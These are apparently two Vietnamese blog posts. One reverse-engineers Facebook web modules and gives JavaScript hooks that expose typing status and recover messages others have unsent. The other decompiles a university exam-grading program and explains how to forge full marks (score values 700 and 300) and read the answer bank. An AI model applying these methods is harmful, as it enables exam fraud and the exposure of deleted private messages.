Nhìn qua hàm typingStateChanged, ta có ý tưởng về cấu trúc lưu trữ của MercuryTypingReceiver. Có vẻ như nó là một dictionary dùng để map các thread id với một mảng các typing user id. Hiểu đơn giản là nó lưu trữ xem những user nào đang typing trong một thread tin nhắn.

Ok, giờ ta sẽ thử sử dụng MercuryTypingReceiver

Bằng cách sử dụng hàm "require" như mô tả ở trên, ta có thể test MercuryTypingReceiver ngay trong console (tuy nhiên với phiên bản Facebook web hiện tại thì không nhé :'( ). Kết quả được như sau:

> const MercuryTypingReceiver = require('MercuryTypingReceiver');
// undefined
> MercuryTypingReceiver
// function j(k){/* bunch of gibberish /}

Trước đó ta thấy MercuryTypingReceiver có hàm static getForFBID*. Tuy nhiên Chrome Dev Tools không cho ta inspect trực tiếp thuộc tính của hàm. Vì vậy ta sẽ wrap nó trong object (đây là một trick hay bạn có thể note lại để sử dụng).*

Ổn đấy

Giờ chúng ta xem thử các hàm static, get và getForFBID*:*

> MercuryTypingReceiver.getForFBID
// function (i){var j=this._getInstances();if(!j[i])j[i]=new this(i);return j[i];}
> MercuryTypingReceiver.get
// function (){return this.getForFBID(c('CurrentUser').getID());}

Từ đây, ta nhận ra rằng hàm MercuryTypingReceiver.getForFBID(fbid) tạo ra một instance của MercuryTypingReceiver từ fbid (id của người dùng FB), trong khi MercuryTypingReceiver.get() là một hàm tiện ích dùng để lấy instance của MercuryTypingReceiver của user hiện tại. Chúng ta sẽ bỏ qua getForFBID() và dùng hàm get() cho tiện.

Như chúng ta đã biết hàm addRetroactiveListener có params là (eventName, listener) gọi từ MercuryTypingReceiver instance. Giờ việc sử dụng của chúng ta rất đơn giản:

const inst = MercuryTypingReceiver.get();
inst.addRetroactiveListener('state-changed', state => {
console.log(state);
});

Sau khi chạy dòng code này trong console, có thể bạn đã thấy một số object bắt đầu được in ra (tuy nhiên hiện tại phần này không còn hoạt động được nữa nhé :v). Ngoài ra bạn cũng có thể tự gửi tin nhắn cho mình để xem các sự kiện này:

Điều này cũng khiến ta khẳng định thêm rằng MercuryTypingReceiver lưu trữ các trạng thái trong một dictionary và map các thread id với id của các user đang typing trong thread đó.

Đây là những thông tin mà chúng ta đang tìm kiếm, tuy nhiên nếu như chúng ta không lấy được tên của người dùng từ user id, có nghĩa là chúng ta không thực sự có được những thông tin như mong muốn.

Sau một hồi nghiên cứu mã nguồn, tác giả tìm được 2 module hữu ích khác:

• MercuryThreads cho phép chúng ta lấy mọi thông tin về một thread trong Messenger từ id của nó

• ShortProfiles cũng tương tự nhưng với user profiles

Cuối cùng đó chính là đoạn code hooking đưa mọi thứ vào hoạt động:

function getUserId(fbid) {
return fbid.split(":")[1];
}
requireLazy(
["MercuryTypingReceiver", "MercuryThreads", "ShortProfiles"],
(MercuryTypingReceiver, MercuryThreads, ShortProfiles) => {
MercuryTypingReceiver.get().addRetroactiveListener(
"state-changed",
onStateChanged
);
// Called every time a user starts or stops typing in a thread
function onStateChanged(state) {
// State is a dictionary that maps thread ids to the list of the
// currently typing users ids'
const threadIds = Object.keys(state);
// Walk through all threads in order to retrieve a list of all
// user ids
const userIds = threadIds.reduce(
(res, threadId) => res.concat(state[threadId].map(getUserId)),
[]
);
MercuryThreads.get().getMultiThreadMeta(threadIds, (threads) => {
ShortProfiles.getMulti(userIds, (users) => {
// Now that we've retrieved all the information we need
// about the threads and the users, we send it to the
// Chrome application to process and display it to the user.
window.postMessage(
{
type: "update",
threads,
users,
state,
},
""
);
});
});
}
}
);

Unsend Recall

Ở bài blog này, tác giả có 2 mục đích chính cần đạt được khi nghiên cứu mã nguồn của Facebook web:

• Bắt sự kiện tin nhắn bị xoá, lấy thông tin về tin nhắn và lưu lại

• Hiển thị lại các tin nhắn bị xoá này

Với mục đích hiển thị tin nhắn, tác giả đã sử dụng React Dev Tools để inspect vào component trên trang

Bức ảnh của tác giả thể hiện quá trình inspect element

Vì bức ảnh của tác giả hơi thiếu thông tin nên mình sẽ show thêm một bức ảnh khác thể hiện quá trình inspect React component của mình. Sau khi cài React Dev Tools thì web console của bạn sẽ hiển thị thêm 1 tab "Components" trên các trang React và 1 nút inspect riêng như mình tô đỏ ở phía bên trái. Bạn nhấn nút inspect này sau đó nhấn vào component cần inspect sẽ xem được một số thông tin hữu ích như tên của component, props, state của component, source code,...

Cho tới hiện tại đây vẫn là một cách mình thường sử dụng để xem code flow của các components. Tuy nhiên việc trace ngược từ dưới lên khó ở chỗ bạn phải trace ngược call stack lên để tìm các params mà bạn quan tâm. Các component nằm ở dưới sâu trong DOM tree thường được phân chia quá lặt vặt và không chứa các thông tin bạn mong muốn, ngoài ra trong quá trình trace có thể chúng sẽ bị wrap mất. Ví dụ dưới đây function call tới hàm render được wrap bằng hàm applyWithGuard. Nếu trace tiếp lên trên thì chỉ toàn gặp các function call lủng củng không liên quan lắm.

Vì vậy kinh nghiệm của mình khi trace các component này đó là nhìn xem tên component trông có liên quan đến nhiệm vụ của nó hay không. Ví dụ component được tác giả lựa chọn làm điểm bắt đầu của nghiên cứu đó là "MessengerRemovedMessageTombstone.react", một cái tên rất là liên quan luôn.

Ngoài ra bạn cũng có thể xem props và state của chúng, thậm chí sửa/xoá các DOM element này xem chúng ta mối liên quan gì.

Ví dụ ở đây vì không tìm được cái tên nào liên quan nên mình đã tìm loanh quanh và thấy 1 component có props chứa dòng chữ "You unsent a message", chính là dòng chữ hiển thị ở tin nhắn đã xoá.

Sau khi tìm được component liên quan rồi thì ta inspect code của nó bằng cái nút mình khoanh đỏ trên ảnh.

Sau khi nhận được đoạn code, ở đây mình lấy đoạn code của tác giả bài blog cho dễ hiểu nhé, các bạn hãy coi mấy phần ảnh ở trên mình chụp chỉ là ví dụ để làm rõ cho kiến thức thôi, chúng ta vẫn sẽ đi theo sườn nội dung của bài viết.

Ở đây ta thấy rằng phần code của hàm "getTombstoneContent" được bôi đậm trong ảnh có vẻ như là hàm chịu trách nhiệm trả về nội dung của tin nhắn bị xoá này. Để chắc chắn hơn, chúng ta có thể đặt debug để xem hàm này chịu trách nhiệm cho việc gì.

Để demo cho phần này chúng ta sẽ quay trở lại với ví dụ của component có chứa dòng chữ "You unsent a message" của mình.

Để đặt breakpoint tại một dòng, chúng ta chỉ cần nhấn vào số dòng đó. Một dòng tag màu xanh như sau sẽ hiện lên. Sau đó bất cứ khi nào đoạn code được execute tới chỗ này, nó sẽ dừng lại để cho bạn xem và sửa thông tin.

Ta cũng có thể xem callstack và đặt watch bằng thanh công cụ debug ở bên phải. Việc xem callstack giúp cho chúng ta hiểu được lời gọi hàm này xuất phát từ đâu, đặt watch giúp ta theo dõi các biến ta quan tâm có giá trị gì. Ngoài ra ta có thể di chuột vào các biến trong hàm để xem giá trị và dùng console để chỉnh sửa các giá trị trong scope theo nhu cầu.

Tóm lại ta hiểu đơn giản ở bước này ta cần tìm được hàm chịu trách nhiệm cho việc hiển thị một dữ liệu bất kì. Nếu ghi đè được hàm này ta sẽ có quyền kiểm soát nó hiển thị ra bất cứ thông tin gì mình muốn.

Tuy nhiên lại có một vấn đề khác ta cần lưu ý. Ở đây với component trong hình này, việc ghi đè hàm "getTombstoneContent" là rất dễ, do nó nằm trong 1 object (a = {}). Trong javascript object là mutable, khi ta sửa object thì object gốc cũng sẽ bị thay đổi luôn.

Vì vậy công việc của tác giả bài viết này ở đây chỉ đơn giản là gọi object này ra sau đó ghi đè lại hàm cần thiết là xong (việc gọi nó ra bằng cách nào mình sẽ giải thích sau).

Trong thực tế hầu hết các component React hiện tại mà mình gặp đều trả về 1 function, khiến cho việc ghi đè không còn dễ như vậy nữa. Hầu hết thời gian mình dành để nghiên cứu cũng là dành để giải quyết vấn đề này. Về chi tiết làm thế nào mình sẽ mô tả sau.

Sau khi xử lý được dữ liệu rồi, ta cần quan tâm tiếp tới việc làm sao để bắt được sự kiện mình mong muốn. Ở đây ta cần bắt sự kiện khi người dùng xoá tin nhắn.

Theo như mô tả của tác giả thì sau khi tìm kiếm trong mã nguồn, tác giả đã tìm thấy module tên là "MercuryThreadInformer" chứa hàm "informNewMessage". Hàm này có nhiệm vụ thông báo sự kiện mỗi khi tin nhắn được gửi tới.

Tuy các biến ở đây (và hầu hết tất cả các biến trong đống mã nguồn bạn sẽ thử đọc) đều đã được rút gọn, chúng ta có thể thấy trong object, biến a được map vào key "threadID", còn biến b được map vào key "message". Việc của chúng ta lúc này chỉ đơn giản là ghi đè hàm nói trên bằng phần xử lý của chúng ta.

Để mô tả thêm cho phương pháp ghi đè hàm trong object, mình xin đưa ra một ví dụ như sau:

// Object chứa function ban đầu
var obj = {
f: function (a, b) {
// Do something
}
}
// Function xử lý của chúng ta dùng để ghi đè
function preOverride(a, b) {
// Do some thing else
}
function postOverride(c) {
// Do something from execution result
}
// Lưu lại function ban đầu
const origF = obj.f
obj.f = function(a, b) {
preOverride(a, b);
let res = origF(a, b);
return postOverride(res);
}

Ở đây mình demo 2 kiểu override đó là override trước hàm gốc (preOverride) và override sau hàm gốc, sử dụng kết quả của hàm gốc (postOverride). Ý tưởng chính của việc override này đó là lưu lại tham chiếu tới hàm gốc ban đầu sau đó ghi đè hàm này và thêm hàm xử lý của chúng ta vào tuỳ theo nhu cầu.

Nếu muốn xem phần code hook của tác giả, bạn có thể tham khảo tại đây. Đây là phần code đã bị xoá nhưng mình may mắn fork lại được.

Tổng kết kiến thức

Sau khi vừa dịch vừa viết kiến thức của phần vừa rồi, chợt mình cảm thấy lo lắng vì 2 bài blog nêu trên vừa dài lê thê, toàn những câu từ kĩ thuật mà lại còn toàn những kiến thức bị outdate, khó thực hành được. Mình tự hỏi liệu đọc xong đống kiến thức ở trên liệu người ta hiểu vào đầu được bao nhiêu?

Bản thân mình đã nhiều lần mày mò thử nghiệm sử dụng những kĩ thuật trên hàng tháng trời trước khi bắt đầu tạo ra được một thứ gì đó, cho nên mình sẽ tóm tắt ngắn gọn những kiến thức mà mình nghĩ người đọc sẽ cần đạt được trước khi tiến xa hơn:

• Hiểu biết về cách định nghĩa một module trên web Facebook

• Hiểu biết cơ bản về cấu trúc của một React component, cách debug React component

• Hiểu về cách sử dụng React Dev Tools, về cách debug/trace code Javascript

• Biết cách chọn starting point cho nghiên cứu, bắt đầu từ những từ khoá liên quan nhất, biết cách search một số pattern keyword để tìm manh mối

Lời kết phần 1

Phần này dù dài dòng và nhiều lý thuyết, thậm chí những kiến thức có thể thực hành được thì đã outdate rất nhiều nên những gì bạn có thể thực sự đem ra áp dụng ngay sau phần này có lẽ không nhiều. Nhưng việc hiểu những kiến thức ở phần này là điều kiện rất quan trọng để bạn có thể hiểu được cách mọi thứ hoạt động và tự tạo ra những tính năng mà mình muốn, chứ không phải phụ thuộc vào một vài dòng code được chuẩn bị sẵn.

Ở phần 2 mình sẽ tập trung vào trải nghiệm thực tế của bản thân, và chia sẻ những dòng code tự mình viết ra, những dòng code mà bạn có thể paste ngay vào console để tự mình thấy kết quả. Hãy đón xem nhé!

FineLinux là phần mềm chấm thi môn "Linux và phần mềm mã nguồn mở" dành cho sinh viên đại học Thuỷ Lợi

Hôm nay trong buổi test thử phần mềm để chuẩn bị cho bài thi online cuối môn, tôi đã có dịp phân tích thử phần mềm này xem mức độ bảo mật của nó tới đâu, liệu có thể bị sinh viên gian lận trong quá trình thi không.

Đầu tiên sau khi tải phần mềm về và giải nén, tôi nhận được 2 file như sau:

File exe chỉ có 40kb, trông hơi khả nghi, dù sao thì tôi cũng sẽ vứt nó vào Sandboxie kèm với Fiddler proxy debugger xem liệu có capture được http request nào thú vị hay không.

Ban đầu, phần mềm hiển thị 1 form đăng nhập như sau:

Sau khi điền thông tin và bấm đăng nhập, tôi nhận được kết quả như sau (thông tin sinh viên chỉ mang tính chất tham khảo, không phải thông tin thật)

Request nhận được ở Fiddler:

Tôi nhấn thử "Xem đề trắc nghiệm", phần mềm hiển thị 1 form như sau:

Vì mục đích thử nghiệm nên tôi đánh thử vài câu rồi chọn "Chấm trắc nghiệm"

Phần mềm gửi lên 1 request như sau:

Con số 163 trông rất bí ẩn, vì vậy tôi quyết định decompile phần mềm này. Vì vừa mở lên có thể nhận thấy đấy là phần mềm viết bằng C# Winform nên tôi đã mở nó bằng phần mềm JustDecompile.

Sau một hồi tìm quanh thì tôi thấy vài điều khá thú vị

Đầu tiên là giải thích cho con số 163, đây là hàm gửi request:

Vậy con số 163 này được tạo thành bởi giá trị làm tròn của mark heso, là 2 biến double được truyền vào hàm.

Trace theo lời gọi hàm, ta thấy hàm này được truyền vào các tham số sau:

Có vẻ heso là 1 giá trị tĩnh nào đấy, tìm phần khai báo của nó ta được kết quả sau:

heso[1] = 7

heso[2] = 3

(về sau này tôi nhận ra rằng đây là hệ số của phần trắc nghiệm và điền khuyết, trắc nghiệm chiếm 7 phần và điền khuyết chiếm 3 phần trong tổng số điểm)

Tiếp theo là biến num, nhìn lại lời gọi hàm ở trên ta thấy biến num được tính bằng hàm qf.Score. Tiếp tục trace hàm này:

Ta thấy hàm for qua các câu hỏi (0 -> answer.Length, mảng này chứa các checkbox đáp án của mỗi câu) và gọi hàm CheckAnswer2. Trace tiếp hàm này:

Chỗ này mặc dù tôi có nháp ra và đã hiểu nhưng tôi nghĩ nó hơi khó giải thích, đại loại việc nó làm là như sau:

- For qua các checkbox của câu hỏi thứ k

- Nếu checkbox thứ num1 được chọn, check xem trong đáp án có phương án này hay không, bằng cách convert số num1 ra thành chữ cái tương ứng với checkbox ("ABCDEF"[num1]) rồi check index. Nếu có thì num += 1. Nếu không có => sv chọn sai, 0 điểm (return length = 0)

- Cuối cùng gán lại length = Số lựa chọn đúng / Tổng số đáp án đúng (num / num / (double)this.QB[k][0].Length)

- Trả về length là điểm thành phần của câu đó

Có thể đọc xong cái giải thích cái hàm CheckAnswer2 này bạn vẫn chả hiểu gì hết. Vậy thôi, với mục đích gian lận thì ta có một cách nghĩ đơn giản hơn. Cùng nhìn lại hàm Score:

double length = num 100 / (double)((int)this.answer.Length);

- num là tổng số điểm thành phần. Trả lời đúng mỗi câu bạn sẽ được 1 điểm

- this.answer.Length là số câu hỏi

Nghĩa là tổng số điểm bài trắc nghiệm của bạn sẽ là tổng số điểm thành phần / số câu hỏi 100 => Max là 100 điểm

Hệ số điểm của bài trắc nghiệm là 7 => Điểm gửi lên server sẽ là tổng số điểm 7.

Quay lại với con số 163. Ta chỉ cần lấy 163 / 7 sẽ biết được số điểm tổng = 23.28 ~ 23.3 trên 100

Vậy để được max số điểm, ta chỉ cần sửa con số 163 này thành 700

Tương tự với phần điền khuyết, ta sửa params thành part2=300 để được số điểm max

Ngoài ra, ta còn có thể xem giá trị biến QB để lấy dữ liệu ngân hàng đề và đáp án, cách này đơn giản và hiệu quả, không cần phân tích nhiều: